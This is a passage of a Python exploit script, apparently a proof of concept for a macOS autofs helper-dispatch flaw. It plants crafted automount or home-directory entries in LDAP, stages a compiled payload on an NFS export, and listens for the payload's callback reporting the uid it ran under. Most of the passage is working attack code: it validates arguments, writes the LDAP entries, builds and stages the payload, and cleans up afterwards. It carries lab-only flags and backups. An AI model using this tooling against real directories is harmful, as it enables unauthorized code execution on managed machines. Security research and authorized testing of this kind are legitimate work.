            fail(EXIT_USAGE, "--authorized-lab is required with --restore-from")
        for name in ("ldap_host", "bind_dn"):
            if not getattr(args, name):
                fail(
                    EXIT_USAGE,
                    f"--{name.replace('_', '-')} required with --restore-from",
                )
        return

    if not re.fullmatch(r"[A-Za-z0-9][A-Za-z0-9_.-]*", args.payload_name or ""):
        fail(EXIT_USAGE, "--payload-name must be a safe basename")
    if args.payload_name in (".", ".."):
        fail(EXIT_USAGE, "--payload-name cannot be '.' or '..'")

    if args.lhost is not None and not re.fullmatch(
        r"[A-Za-z0-9][A-Za-z0-9.-]*", args.lhost
    ):
        fail(EXIT_USAGE, "--lhost must be an IPv4 address or simple DNS name")
    if args.callback_host is None:
        if args.lhost is None:
            fail(EXIT_USAGE, "--callback-host is required")
        try:
            socket.inet_pton(socket.AF_INET, args.lhost)
            args.callback_host = args.lhost
        except OSError:
            fail(EXIT_USAGE, "--callback-host is required when --lhost is not IPv4")
    for option, address in (
        ("callback-host", args.callback_host),
        ("listen-host", args.listen_host),
    ):
        try:
            socket.inet_pton(socket.AF_INET, address)
        except OSError:
            fail(EXIT_USAGE, f"--{option} must be an IPv4 literal")
    if not 1 <= args.callback_port <= 65535:
        fail(EXIT_USAGE, "--callback-port must be between 1 and 65535")
    if args.monitor_timeout < 0:
        fail(EXIT_USAGE, "--monitor-timeout cannot be negative")
    if not re.fullmatch(r"[A-Za-z0-9_.-]{1,32}", args.proof_prefix or ""):
        fail(EXIT_USAGE, "--proof-prefix contains unsupported characters")
    if args.proof_token is not None and not re.fullmatch(
        r"[A-Za-z0-9_.-]{1,64}", args.proof_token
    ):
        fail(EXIT_USAGE, "--proof-token contains unsupported characters")

    if args.build_only:
        if args.payload_bin:
            fail(EXIT_USAGE, "--build-only cannot be combined with --payload-bin")
        if args.dry_run:
            fail(EXIT_USAGE, "--build-only cannot be combined with --dry-run")
        if args.proof_token is None:
            fail(EXIT_USAGE, "--proof-token is required with --build-only")
        if sys.platform != "darwin":
            fail(EXIT_USAGE, "--build-only must run on macOS to produce Mach-O")
        return

    if args.lhost is None:
        fail(EXIT_USAGE, "--lhost is required for LDAP/NFS planning")
    if not args.dry_run and not args.authorized_lab:
        fail(EXIT_USAGE, "--authorized-lab is required for directory/NFS writes")
    for name, val in (("ldap_host", args.ldap_host), ("bind_dn", args.bind_dn)):
        if not val:
            fail(EXIT_USAGE, f"--{name.replace('_', '-')} is required")
    if args.route == "automount" and not args.map_dn:
        fail(EXIT_USAGE, "--map-dn is required for --route automount")
    if args.route == "userhome" and not (args.user_a_dn and args.user_b_dn):
        fail(
            EXIT_USAGE, "--user-a-dn and --user-b-dn are required for --route userhome"
        )

    keys = [key.strip() for key in args.keys.split(",")]
    if len(keys) != 2:
        fail(EXIT_USAGE, "--keys requires exactly delivery,dispatch")
    route_keys = keys
    if args.route == "userhome":
        try:
            route_keys = [rdn_value(args.user_a_dn), rdn_value(args.user_b_dn)]
        except (IndexError, ValueError):
            fail(EXIT_USAGE, "user DNs must begin with attr=value")
    for key in route_keys:
        if not re.fullmatch(r"[A-Za-z0-9][A-Za-z0-9_-]*", key or ""):
            fail(EXIT_USAGE, f"invalid autofs key token: {key!r}")

    if args.payload_bin and args.proof_token is None:
        fail(EXIT_USAGE, "--proof-token is required with --payload-bin")
    if not args.dry_run and not args.payload_bin:
        if args.nfs_backend == "linux" or sys.platform != "darwin":
            fail(
                EXIT_USAGE,
                "a prebuilt benign Mach-O --payload-bin is required "
                "on a non-macOS payload host",
            )
    if not args.dry_run and args.nfs_backend == "macos" and sys.platform != "darwin":
        fail(EXIT_USAGE, "--nfs-backend macos requires a macOS host")
    if (
        not args.dry_run
        and args.nfs_backend == "linux"
        and not sys.platform.startswith("linux")
    ):
        fail(EXIT_USAGE, "--nfs-backend linux requires a Linux host")

    if (
        not os.path.isabs(args.nfs_dir)
        or not re.fullmatch(r"/[A-Za-z0-9_./-]+", args.nfs_dir)
        or ".." in args.nfs_dir.split(os.sep)
        or os.path.normpath(args.nfs_dir) != args.nfs_dir
    ):
        fail(
            EXIT_USAGE,
            "--nfs-dir must be an absolute normalized path using "
            "only letters, digits, '_', '-', '.', and '/'",
        )
    if not re.fullmatch(
        r"[A-Za-z0-9_.=-]+(?:,[A-Za-z0-9_.=-]+)*", args.exports_opts or ""
    ):
        fail(EXIT_USAGE, "--exports-opts contains unsupported characters")
    for option, address in (("network", args.network), ("mask", args.mask)):
        try:
            socket.inet_pton(socket.AF_INET, address)
        except OSError:
            fail(EXIT_USAGE, f"--{option} must be an IPv4 literal")
    try:
        ipaddress.IPv4Network((args.network, args.mask), strict=False)
    except (ipaddress.AddressValueError, ipaddress.NetmaskValueError):
        fail(EXIT_USAGE, "--network/--mask must describe a valid IPv4 network")


def plan_operations(args):
    """Compute every planned write without touching anything."""
    ops = []
    if args.route == "automount":
        delivery_key, dispatch_key = [k.strip() for k in args.keys.split(",")]
        entry_a = mapline_delivery(args.lhost, args.nfs_dir)
        entry_b = mapline_dispatch(
            compute_fstype(delivery_key, args.payload_name), args.lhost
        )
        ops.append(
            (
                "ADD",
                f"automountKey={delivery_key},{args.map_dn}",
                {"automountKey": [delivery_key], "automountInformation": [entry_a]},
            )
        )
        ops.append(
            (
                "ADD",
                f"automountKey={dispatch_key},{args.map_dn}",
                {"automountKey": [dispatch_key], "automountInformation": [entry_b]},
            )
        )
        fstype_check_key = delivery_key
    else:
        delivery_key = rdn_value(args.user_a_dn)
        dispatch_key = rdn_value(args.user_b_dn)
        entry_a = home_dir_xml(mapline_delivery(args.lhost, args.nfs_dir))
        entry_b = home_dir_xml(
            mapline_dispatch(
                compute_fstype(delivery_key, args.payload_name), args.lhost
            )
        )
        ops.append(("MODIFY", args.user_a_dn, {args.home_attr: [entry_a]}))
        ops.append(("MODIFY", args.user_b_dn, {args.home_attr: [entry_b]}))
        fstype_check_key = delivery_key
    fstype = compute_fstype(fstype_check_key, args.payload_name)
    return ops, fstype, delivery_key, dispatch_key


def dry_run(args):
    ops, fstype, delivery_key, dispatch_key = plan_operations(args)
    ok, detail = budget_check(fstype)
    log("dry_run=true (nothing below is executed)")
    log(
        f"fstype={fstype} length={detail['length']} limit={detail['limit']} "
        f"budget={'ok' if ok else 'FAIL'}"
    )
    log(
        f"prefix={TRAVERSAL_PREFIX} prefix_length={detail['prefix_length']} "
        f"key+slash+payload_budget={detail['remaining_for_key_and_payload']}"
    )
    log(f"constructed={HELPER_PREFIX}{fstype}")
    for problem in detail["problems"]:
        log(f"budget_problem={problem}")
    log(f"delivery_lookup=/home/{delivery_key} dispatch_lookup=/home/{dispatch_key}")
    for op, dn, attrs in ops:
        for attr, values in attrs.items():
            for value in values:
                log(f"ldap_op={op} dn={dn} attr={attr} value={value}")
    if args.payload_bin:
        log(
            f"payload=prebuilt path={os.path.abspath(args.payload_bin)} "
            f"token={args.proof_token}"
        )
    else:
        log(
            f"payload=would-compile benign-marker arch={args.arch} "
            f"callback={args.callback_host}:{args.callback_port}"
        )
    log(f"nfs_payload=would-stage path={os.path.join(args.nfs_dir, args.payload_name)}")
    if args.nfs_backend != "external":
        exports_line = build_exports_line(
            args.nfs_dir,
            args.nfs_backend,
            args.exports_opts,
            args.network,
            args.mask,
        )
        log(f"nfs_op=append /etc/exports -> {exports_line}")
    else:
        log("nfs_op=external export configuration left unchanged")
    log(f"proof_monitor_plan={args.listen_host}:{args.callback_port}")
    log(
        f"observation=passive timeout={args.monitor_timeout}s "
        "script_does_not_access_lookup_paths=true"
    )
    log("scope=cve-2026-84568 helper_dispatch; gatekeeper_not_tested_here=true")
    return EXIT_OK if ok else EXIT_USAGE


def run(args):
    ops, fstype, delivery_key, dispatch_key = plan_operations(args)
    ok, detail = budget_check(fstype)
    log(
        f"fstype={fstype} length={detail['length']} limit={detail['limit']} "
        f"budget={'ok' if ok else 'FAIL'}"
    )
    log(f"constructed={HELPER_PREFIX}{fstype}")
    for problem in detail["problems"]:
        log(f"budget_problem={problem}")
    if not ok:
        return EXIT_USAGE

    workdir = prepare_workdir(args.workdir)
    log(f"workdir={workdir}")
    proof_token = args.proof_token or secrets.token_hex(12)
    nfs = NfsBackend(
        args.nfs_backend,
        args.nfs_dir,
        workdir,
        args.exports_opts,
        args.network,
        args.mask,
    )
    monitor = ProofMonitor(
        args.listen_host,
        args.callback_port,
        os.path.join(workdir, "proof-events.jsonl"),
        proof_token,
    )
    ldap = LdapSession(
        args.ldap_host, args.ldap_port, args.bind_dn, args.bind_pass, args.ldap_ssl
    )
    backup_path = os.path.join(workdir, "ldap-backup.json")

    if nfs.backend != "external" and os.geteuid() != 0:
        fail(
            EXIT_USAGE,
            f"nfs backend {nfs.backend!r} writes /etc/exports; "
            f"run as root or use --nfs-backend external",
        )

    try:
        # Start observation before building or publishing any directory value.
        monitor.start()
        log(f"proof_token={proof_token}")

        # Build the marker/beacon payload and put that exact binary at the
        # path selected by the delivery entry.
        if args.payload_bin:
            payload_path = os.path.abspath(args.payload_bin)
            ok, problems = inspect_prebuilt_payload(
                payload_path, proof_token, args.callback_host
            )
            if not ok:
                for problem in problems:
                    log(f"payload_problem={problem}")
                fail(EXIT_USAGE, "prebuilt proof payload validation failed")
        else:
            src = os.path.join(workdir, "payload.c")
            payload_path = os.path.join(workdir, "payload.bin")
            with open(src, "w", encoding="utf-8") as fh:
                fh.write(
                    build_payload_source(
                        args.callback_host, monitor.port, args.proof_prefix, proof_token
                    )
                )
            compile_payload(src, payload_path, args.arch)
        log(f"payload=ready path={payload_path}")
        nfs.stage_payload(payload_path, args.payload_name, force=args.force_payload)
        nfs.prepare()

        # LDAP connect + writes.  Persist recovery state before each replace
        # and after each add so a terminated run can use --restore-from.
        bind_pass = args.bind_pass or getpass.getpass("LDAP password: ")
        ldap.bind_pass = bind_pass
        ldap.connect()
        log(f"ldap_bind=PASS host={args.ldap_host} dn={args.bind_dn}")

        if args.route == "automount":
            if ldap.read_attr(args.map_dn, "automountMapName") is None:
                if args.create_map:
                    ldap.add_entry(
                        args.map_dn,
                        ["automountMap"],
                        {
                            "automountMapName": args.map_dn.split(",")[0].split("=", 1)[
                                1
                            ]
                        },
                    )
                    ldap.save_backup(backup_path)
                else:
                    fail(EXIT_LDAP, f"map missing: {args.map_dn} (use --create-map)")
            for op, dn, attrs in ops:
                value = attrs["automountInformation"][0]
                if ldap._entry_exists(dn):
                    existing = ldap.read_attr(dn, "automountInformation")
                    if not args.force:
                        fail(
                            EXIT_LDAP,
                            f"refusing to modify existing entry "
                            f"{dn}: {existing} (use --force)",
                        )
                    ldap.backup_attr(dn, "automountInformation")
                    ldap.save_backup(backup_path)
                    ldap.replace_attr(dn, "automountInformation", [value])
                else:
                    ldap.add_automount_entry(
                        args.map_dn, dn.split(",")[0].split("=", 1)[1], value
                    )
                ldap.save_backup(backup_path)
                log(f"ldap_write=PASS dn={dn}")
        else:
            for op, dn, attrs in ops:
                attr = args.home_attr
                existing = ldap.read_attr(dn, attr)
                if existing and not args.force:
                    fail(
                        EXIT_LDAP,
                        f"refusing to replace existing {dn}/{attr} "
                        f"values={len(existing)} (use --force)",
                    )
                ldap.backup_attr(dn, attr)
                ldap.save_backup(backup_path)
                ldap.replace_attr(dn, attr, attrs[attr])
                ldap.save_backup(backup_path)
                log(f"ldap_write=PASS dn={dn} attr={attr}")

        # Deliberately do not open/stat either autofs key.  The delivery key
        # must be looked up before the dispatch key by activity outside this
        # process.  The monitor only waits for the payload's one-way proof.
        log(
            f"observation=waiting timeout={args.monitor_timeout}s "
            f"delivery_path=/home/{delivery_key} "
            f"dispatch_path=/home/{dispatch_key}"
        )
        log("observation_note=no lookup is generated by this program")
        event = monitor.wait_for_event(args.monitor_timeout)
        if event is None:
            log("proof_event=none result=inconclusive_no_lookup_observed")
            return EXIT_TIMEOUT
        log(
            "proof_result=executed uid=%d euid=%d gid=%d egid=%d "
            "pid=%d ppid=%d"
            % (event.uid, event.euid, event.gid, event.egid, event.pid, event.ppid)
        )
        log(f"proof_events={monitor.events_path}")
        return EXIT_OK
    finally:
        cleanup_errors = []
        try:
            if ldap.conn is not None and (ldap.attr_backups or ldap.created_dns):
                ldap.restore()
        except Exception as exc:  # noqa: BLE001
            log(f"ldap_restore_error={exc}")
            cleanup_errors.append(f"LDAP restore failed: {exc}")
        try:
            nfs.teardown()
        except Exception as exc:  # noqa: BLE001
            log(f"nfs_teardown_error={exc}")
            cleanup_errors.append(f"NFS teardown failed: {exc}")
        try:
            monitor.stop()
        except Exception as exc:  # noqa: BLE001
            log(f"monitor_stop_error={exc}")
            cleanup_errors.append(f"monitor stop failed: {exc}")

        report_path = os.path.join(workdir, "report.txt")
        try:
            fd = os.open(report_path, os.O_WRONLY | os.O_CREAT | os.O_TRUNC, 0o600)
            with os.fdopen(fd, "w", encoding="utf-8") as fh:
                fh.write("\n".join(LOG_LINES) + "\n")
            log(f"report={report_path}")
        except OSError as exc:
            log(f"report_write_error={exc}")
            cleanup_errors.append(f"report write failed: {exc}")

        if cleanup_errors:
            raise CleanupError("; ".join(cleanup_errors))


def main(argv=None):
    LOG_LINES.clear()
    parser = build_parser()
    args = parser.parse_args(argv)
    validate_args(args)
    try:
        if args.restore_from:
            bind_pass = args.bind_pass or getpass.getpass("LDAP password: ")
            ldap = LdapSession(
                args.ldap_host, args.ldap_port, args.bind_dn, bind_pass, args.ldap_ssl
            )
            ldap.connect()
            try:
                LdapSession.restore_from_file(args.restore_from, ldap.conn)
            finally:
                ldap.conn.unbind()
            return EXIT_OK
        if args.build_only:
            return build_only(args)
        if args.dry_run:
            return dry_run(args)
        return run(args)
    except CleanupError as exc:
        log(f"cleanup_result=failed detail={exc}")
        return EXIT_CLEANUP
    except LdapStepError as exc:
        log(f"error=LDAP operation failed: {exc}")
        return EXIT_LDAP
    except LDAP_EXCEPTION as exc:
        log(f"error=LDAP operation failed: {exc}")
        return EXIT_LDAP
    except subprocess.CalledProcessError as exc:
        log(f"error=command failed status={exc.returncode} argv={exc.cmd!r}")
        return EXIT_NFS
    except OSError as exc:
        log(f"error=local operation failed: {exc}")
        return EXIT_NFS
    except KeyboardInterrupt:
        log("observation=interrupted")
        return EXIT_INTERRUPTED


if __name__ == "__main__":
    sys.exit(main())